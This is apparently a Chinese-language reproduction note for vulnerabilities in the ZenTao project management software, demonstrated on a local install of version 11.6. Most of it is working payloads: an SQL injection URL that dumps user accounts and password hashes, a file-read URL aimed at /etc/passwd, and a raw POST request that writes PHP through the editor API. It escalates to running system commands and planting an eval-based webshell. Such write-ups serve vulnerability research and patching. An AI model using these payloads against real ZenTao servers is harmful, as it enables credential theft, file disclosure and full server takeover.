禪道全版本rce漏洞復現筆記
漏洞說明
禪道項目管理軟件是一款國產的,基於LGPL協議,開源免費的項目管理軟件,它集產品管理、項目管理、測試管理於一體,同時還包含了事務管理、組織管理等諸多功能,是中小型企業項目管理的首選,基於自主的PHP開發框架──ZenTaoPHP而成,第三方開發者或企業可非常方便的開發插件或者進行定制。
此次發現的漏洞正是ZenTaoPHP框架中的通用代碼所造成的的,因此禪道幾乎所有的項目都受此漏洞影響。本次漏洞復現以ZenTaoPMS.11.6版本作為演示
環境搭建
下載鏈接:https://www.zentao.net/download/80153.html
解壓安裝后訪問禪道主頁 http://127.0.0.1/index.php

查看當前版本 http://127.0.0.1:81/zentao/index.php?mode=getconfig

至此環境搭建成功
漏洞復現
漏洞1 SQL注入
首先我們登錄admin/CD87691043cs賬戶修改默認密碼,創建一個普通Test0001/1qaz2wsx3edc!@#$用戶並登錄
Payload
http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user
Poc訪問結果如下:

漏洞2 文件讀取
Payload
http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd
Poc訪問結果如下:

由於本地環境是window系統,所以沒有回顯,我們在xampp\zentao\module\api目錄下新建一個test文件,讀取
http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=test

漏洞3 RCE
利用上面的文件讀取來執行命令
Payload1
POST /zentao/api-getModel-editor-save-filePath=1111 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; windowWidth=2426; windowHeight=796; zentaosid=vqruohhgn7qbhveakg04h9e267
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
fileContent=<?php phpinfo()?>

先寫入一個phpinfo,再讀取訪問
需要給物理路徑加上一層才能包含成功
http://127.0.0.1/zentao/api-getModel-api-getMethod-filePath=1111/1

Payload2
fileContent=<?php system('whoami');?>


Payload3(一句話)
fileContent=<?php file_put_contents('E://CMS/ZenTaoPMS/xampp/zentao/www/xxx.php.aaa', '<?php @eval($_REQUEST["x"]);?>');?>

這里是window系統,所以寫入絕對路徑,絕對路徑可以同樣用fileContent=<?php getcwd()?>獲取
http://127.0.0.1/zentao/xxx.php.aaa?x=phpinfo();

PS:最好使用linux系統安裝,windows不要使用一鍵安裝包安裝,windows系統安裝集成版的話根目錄下的php代碼好像做了限制,無法執行。
